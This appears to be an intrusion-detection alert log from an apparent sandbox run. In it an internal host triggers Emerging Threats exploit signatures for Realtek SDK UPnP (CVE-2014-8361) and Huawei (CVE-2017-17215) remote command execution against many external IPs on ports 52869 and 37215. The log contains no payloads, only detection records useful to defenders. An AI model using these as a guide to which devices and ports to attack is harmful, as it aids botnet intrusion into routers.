07/20/24-23:01:20.593003	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49616	52869	192.168.2.23	78.146.199.168
07/20/24-23:01:08.620788	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49576	52869	192.168.2.23	87.137.214.123
07/20/24-23:02:10.069241	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58652	52869	192.168.2.23	9.104.144.169
07/20/24-23:01:43.965131	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41790	52869	192.168.2.23	24.0.173.57
07/20/24-23:01:49.055673	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34800	52869	192.168.2.23	68.106.199.227
07/20/24-23:00:59.148145	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55784	37215	192.168.2.23	197.64.180.236
07/20/24-23:01:53.524925	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56392	52869	192.168.2.23	90.72.98.132
07/20/24-23:02:18.278764	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56808	52869	192.168.2.23	72.193.247.149
07/20/24-23:02:48.156942	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41054	52869	192.168.2.23	211.211.25.32
07/20/24-23:01:24.752424	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52414	52869	192.168.2.23	34.158.218.166
07/20/24-23:01:42.939520	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50552	52869	192.168.2.23	114.151.113.249
07/20/24-23:01:48.083998	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36126	52869	192.168.2.23	132.77.166.224
07/20/24-23:01:52.380418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35076	52869	192.168.2.23	109.170.40.38
07/20/24-23:01:14.111381	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35496	37215	192.168.2.23	41.138.103.205
07/20/24-23:02:30.172034	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38216	52869	192.168.2.23	148.112.106.138
07/20/24-23:00:59.194576	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37398	37215	192.168.2.23	77.13.19.125
07/20/24-23:01:24.886284	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59416	37215	192.168.2.23	157.51.148.163
07/20/24-23:01:47.610546	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47288	52869	192.168.2.23	96.112.20.112
07/20/24-23:01:31.328066	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56348	52869	192.168.2.23	97.247.179.245
07/20/24-23:01:40.301143	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40256	37215	192.168.2.23	157.64.8.64
07/20/24-23:02:07.236630	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37638	52869	192.168.2.23	120.153.158.217
07/20/24-23:01:49.116780	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34822	52869	192.168.2.23	191.56.125.219
07/20/24-23:01:07.022763	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44248	37215	192.168.2.23	157.79.183.3
07/20/24-23:01:50.131564	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40240	52869	192.168.2.23	104.92.73.201
07/20/24-23:02:48.447183	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45040	52869	192.168.2.23	165.223.82.19
07/20/24-23:01:58.821906	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51208	52869	192.168.2.23	17.116.47.253
07/20/24-23:01:47.541928	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34978	52869	192.168.2.23	80.133.252.53
07/20/24-23:01:42.574571	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49190	52869	192.168.2.23	202.140.13.200
07/20/24-23:02:26.420170	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44598	52869	192.168.2.23	203.88.251.194
07/20/24-23:01:21.915268	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42714	37215	192.168.2.23	157.75.221.250
07/20/24-23:01:43.206219	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54166	52869	192.168.2.23	39.170.42.160
07/20/24-23:02:06.453402	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34724	52869	192.168.2.23	186.206.219.37
07/20/24-23:01:45.214052	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49210	52869	192.168.2.23	52.121.181.216
07/20/24-23:02:02.570955	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60414	52869	192.168.2.23	32.154.214.30
07/20/24-23:01:45.116897	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38352	52869	192.168.2.23	43.216.241.103
07/20/24-23:01:08.615260	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52816	52869	192.168.2.23	212.172.247.72
07/20/24-23:01:11.631134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33872	37215	192.168.2.23	41.120.225.224
07/20/24-23:01:42.758824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45004	52869	192.168.2.23	8.202.120.94
07/20/24-23:01:44.280820	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37874	52869	192.168.2.23	123.227.205.159
07/20/24-23:01:43.642551	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44568	52869	192.168.2.23	54.184.6.19
07/20/24-23:01:08.567236	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59368	52869	192.168.2.23	153.15.211.214
07/20/24-23:01:44.158709	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33618	52869	192.168.2.23	1.26.245.187
07/20/24-23:01:57.695259	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53234	52869	192.168.2.23	105.70.135.245
07/20/24-23:01:57.872971	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35896	52869	192.168.2.23	164.20.16.241
07/20/24-23:01:07.016889	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46684	37215	192.168.2.23	197.53.90.124
07/20/24-23:01:24.567513	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35712	52869	192.168.2.23	66.164.253.202
07/20/24-23:01:27.664887	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51748	37215	192.168.2.23	135.203.61.14
07/20/24-23:01:51.943792	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41816	52869	192.168.2.23	43.71.121.153
07/20/24-23:02:01.526784	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48998	52869	192.168.2.23	97.69.50.199
07/20/24-23:01:54.702517	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42148	52869	192.168.2.23	222.125.116.173
07/20/24-23:01:42.365783	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60722	52869	192.168.2.23	132.173.89.17
07/20/24-23:01:54.787983	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41556	52869	192.168.2.23	2.74.163.138
07/20/24-23:01:59.137101	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60448	52869	192.168.2.23	60.191.4.143
07/20/24-23:01:04.053604	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37496	37215	192.168.2.23	65.192.188.21
07/20/24-23:01:31.978141	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55614	37215	192.168.2.23	41.217.46.13
07/20/24-23:02:12.248256	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58000	52869	192.168.2.23	46.119.183.52
07/20/24-23:01:34.048825	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46924	37215	192.168.2.23	197.123.40.207
07/20/24-23:01:42.745085	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47378	52869	192.168.2.23	2.78.155.76
07/20/24-23:01:43.199406	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43286	52869	192.168.2.23	86.216.107.76
07/20/24-23:01:41.229799	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59514	52869	192.168.2.23	100.0.247.159
07/20/24-23:01:34.044417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38864	37215	192.168.2.23	157.83.163.2
07/20/24-23:01:44.318262	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57020	52869	192.168.2.23	187.157.152.232
07/20/24-23:01:42.985320	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52730	52869	192.168.2.23	171.174.164.32
07/20/24-23:01:51.949637	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55394	52869	192.168.2.23	48.119.173.106
07/20/24-23:01:56.091033	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55710	52869	192.168.2.23	64.55.184.24
07/20/24-23:01:44.428891	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52146	52869	192.168.2.23	123.97.7.185
07/20/24-23:01:46.556921	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56592	52869	192.168.2.23	81.48.180.48
07/20/24-23:01:02.854348	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42622	52869	192.168.2.23	181.219.175.178
07/20/24-23:01:24.885849	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40988	37215	192.168.2.23	197.212.28.22
07/20/24-23:01:07.066373	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60054	37215	192.168.2.23	197.193.71.4
07/20/24-23:01:55.536863	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48960	52869	192.168.2.23	117.131.224.39
07/20/24-23:01:34.046616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60340	37215	192.168.2.23	157.123.163.220
07/20/24-23:01:45.350108	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34098	52869	192.168.2.23	74.130.124.117
07/20/24-23:01:21.951298	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55046	37215	192.168.2.23	157.139.97.65
07/20/24-23:02:00.234228	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50240	52869	192.168.2.23	125.137.181.188
07/20/24-23:01:08.600114	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44382	52869	192.168.2.23	108.144.159.228
07/20/24-23:01:56.900987	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46180	52869	192.168.2.23	67.148.56.97
07/20/24-23:01:54.177524	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32964	52869	192.168.2.23	174.150.164.6
07/20/24-23:01:04.118165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34972	37215	192.168.2.23	197.160.175.250
07/20/24-23:01:44.325773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43672	52869	192.168.2.23	119.138.76.79
07/20/24-23:01:54.787983	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47580	52869	192.168.2.23	67.148.56.97
07/20/24-23:01:00.634292	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51646	37215	192.168.2.23	197.50.46.65
07/20/24-23:01:44.175702	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57266	52869	192.168.2.23	179.77.1.115
07/20/24-23:01:20.156820	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50504	37215	192.168.2.23	197.142.168.90
07/20/24-23:01:25.044669	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39594	52869	192.168.2.23	117.200.16.247
07/20/24-23:01:07.075937	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47294	37215	192.168.2.23	43.45.9.49
07/20/24-23:01:20.110861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44180	37215	192.168.2.23	157.8.216.67
07/20/24-23:00:59.191389	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50398	37215	192.168.2.23	157.174.150.26
07/20/24-23:01:40.290003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59616	37215	192.168.2.23	161.85.99.11
07/20/24-23:01:53.269588	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54980	52869	192.168.2.23	166.201.201.44
07/20/24-23:01:46.552279	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48718	52869	192.168.2.23	60.88.74.46
07/20/24-23:01:56.845732	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36454	52869	192.168.2.23	60.59.133.184
07/20/24-23:01:02.083467	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60660	37215	192.168.2.23	41.229.154.58
07/20/24-23:01:42.719940	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50692	52869	192.168.2.23	106.219.50.159
07/20/24-23:01:43.028316	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34818	52869	192.168.2.23	57.248.72.169
07/20/24-23:01:45.697846	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58184	52869	192.168.2.23	223.33.49.156
07/20/24-23:01:46.773722	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36020	52869	192.168.2.23	66.96.161.223
07/20/24-23:01:31.313163	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39906	52869	192.168.2.23	67.128.52.113
07/20/24-23:01:44.104536	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34962	52869	192.168.2.23	95.85.24.175
07/20/24-23:01:27.651332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55470	37215	192.168.2.23	41.190.44.53
07/20/24-23:01:42.466150	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54924	52869	192.168.2.23	74.205.109.96
07/20/24-23:01:02.048113	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57860	37215	192.168.2.23	197.244.76.85
07/20/24-23:01:31.325694	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37036	52869	192.168.2.23	149.142.97.135
07/20/24-23:01:57.099838	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41820	52869	192.168.2.23	2.18.140.250
07/20/24-23:01:57.847364	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42466	52869	192.168.2.23	88.239.244.206
07/20/24-23:01:47.995636	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52914	52869	192.168.2.23	19.242.116.26
07/20/24-23:00:57.221220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47794	37215	192.168.2.23	41.166.85.150
07/20/24-23:01:44.837053	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42080	52869	192.168.2.23	18.202.42.80
07/20/24-23:00:59.163619	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56186	37215	192.168.2.23	157.159.217.82
07/20/24-23:01:43.946478	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57058	52869	192.168.2.23	39.124.235.174
07/20/24-23:01:52.061339	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38364	52869	192.168.2.23	32.82.7.154
07/20/24-23:01:41.974742	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47836	52869	192.168.2.23	155.110.172.241
07/20/24-23:01:43.282556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35706	52869	192.168.2.23	89.86.226.219
07/20/24-23:01:44.756264	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49984	52869	192.168.2.23	5.80.243.157
07/20/24-23:01:46.068251	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49446	52869	192.168.2.23	77.112.72.60
07/20/24-23:01:43.540053	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55358	52869	192.168.2.23	185.117.12.122
07/20/24-23:01:27.653028	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49014	37215	192.168.2.23	197.100.29.197
07/20/24-23:01:42.692691	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59040	52869	192.168.2.23	170.207.21.198
07/20/24-23:01:45.194629	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33264	52869	192.168.2.23	141.54.172.151
07/20/24-23:01:45.164161	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45426	52869	192.168.2.23	60.240.72.8
07/20/24-23:00:57.221921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49826	37215	192.168.2.23	41.65.251.158
07/20/24-23:01:45.194629	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33566	52869	192.168.2.23	89.81.144.22
07/20/24-23:01:48.386032	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37672	52869	192.168.2.23	2.166.49.173
07/20/24-23:01:43.415157	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58212	52869	192.168.2.23	59.121.190.157
07/20/24-23:01:21.936545	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56194	37215	192.168.2.23	216.138.36.57
07/20/24-23:01:40.320408	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35718	37215	192.168.2.23	197.154.95.35
07/20/24-23:01:02.259642	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52638	52869	192.168.2.23	123.42.160.177
07/20/24-23:01:45.175511	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36088	52869	192.168.2.23	217.231.155.95
07/20/24-23:01:41.378871	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58286	52869	192.168.2.23	52.167.234.201
07/20/24-23:01:41.987411	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33048	52869	192.168.2.23	156.69.102.152
07/20/24-23:02:02.415002	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51230	52869	192.168.2.23	216.165.192.32
07/20/24-23:01:47.485617	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55016	52869	192.168.2.23	156.42.244.253
07/20/24-23:01:49.145932	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52068	52869	192.168.2.23	59.111.61.71
07/20/24-23:01:55.359808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39022	52869	192.168.2.23	151.217.152.189
07/20/24-23:01:08.667964	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36898	52869	192.168.2.23	60.208.170.61
07/20/24-23:01:47.385543	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37590	52869	192.168.2.23	48.211.124.159
07/20/24-23:01:51.932550	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54136	52869	192.168.2.23	134.173.191.58
07/20/24-23:01:43.001716	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39670	52869	192.168.2.23	185.86.48.66
07/20/24-23:01:42.627588	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41408	52869	192.168.2.23	197.132.250.53
07/20/24-23:01:54.567167	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55626	52869	192.168.2.23	222.178.130.155
07/20/24-23:01:25.388031	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60752	52869	192.168.2.23	58.239.1.240
07/20/24-23:01:52.425638	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36282	52869	192.168.2.23	80.133.252.53
07/20/24-23:01:08.652877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37552	52869	192.168.2.23	68.46.168.107
07/20/24-23:01:08.574948	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38282	52869	192.168.2.23	77.77.58.220
07/20/24-23:01:08.565561	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54690	52869	192.168.2.23	37.205.238.167
07/20/24-23:01:41.722161	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35428	52869	192.168.2.23	18.13.209.238
07/20/24-23:01:44.274940	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58340	52869	192.168.2.23	76.231.40.42
07/20/24-23:01:02.066908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51714	37215	192.168.2.23	157.243.220.45
07/20/24-23:02:45.524183	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41146	52869	192.168.2.23	120.235.235.116
07/20/24-23:01:03.970797	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52042	52869	192.168.2.23	75.16.13.92
07/20/24-23:01:00.638418	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59370	37215	192.168.2.23	190.161.188.69
07/20/24-23:01:49.810143	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32836	52869	192.168.2.23	72.2.201.225
07/20/24-23:01:44.203130	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59938	52869	192.168.2.23	194.155.182.26
07/20/24-23:01:47.892814	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53108	52869	192.168.2.23	150.181.137.93
07/20/24-23:01:45.716157	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56142	52869	192.168.2.23	46.179.46.173
07/20/24-23:01:13.331592	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56494	52869	192.168.2.23	213.215.4.32
07/20/24-23:01:56.300735	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38046	52869	192.168.2.23	183.120.27.200
07/20/24-23:01:04.114673	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45294	37215	192.168.2.23	157.157.173.191
07/20/24-23:01:42.718643	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58412	52869	192.168.2.23	85.146.42.42
07/20/24-23:01:48.255782	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37054	52869	192.168.2.23	38.115.164.104
07/20/24-23:02:48.447183	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51008	52869	192.168.2.23	36.136.49.118
07/20/24-23:03:46.099099	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39362	52869	192.168.2.23	168.71.222.184
07/20/24-23:01:46.439689	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35164	52869	192.168.2.23	165.21.55.96
07/20/24-23:01:52.686542	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51606	52869	192.168.2.23	206.50.68.232
07/20/24-23:01:41.686830	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45028	52869	192.168.2.23	34.239.73.219
07/20/24-23:01:27.650243	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58838	37215	192.168.2.23	220.166.48.209
07/20/24-23:01:07.004906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46974	37215	192.168.2.23	157.246.47.96
07/20/24-23:01:02.048214	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48170	37215	192.168.2.23	43.99.159.58
